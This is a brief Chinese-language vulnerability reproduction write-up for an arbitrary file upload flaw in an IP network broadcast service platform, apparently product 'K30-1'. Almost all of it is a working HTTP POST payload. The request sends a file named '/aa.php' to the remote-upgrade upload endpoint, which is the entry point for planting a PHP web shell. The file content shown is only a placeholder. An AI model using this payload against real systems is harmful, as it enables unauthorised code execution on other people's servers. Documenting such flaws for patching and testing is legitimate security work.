K30-1开源-IP网络广播服务平台-任意文件上传

漏洞复现：

payload：

POST /api/v2/remote-upgrade/upload HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----234561
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 149

------234561
Content-Disposition: form-data; name="file"; filename="/aa.php"
Content-Type: application/octet-stream

234561
------234561--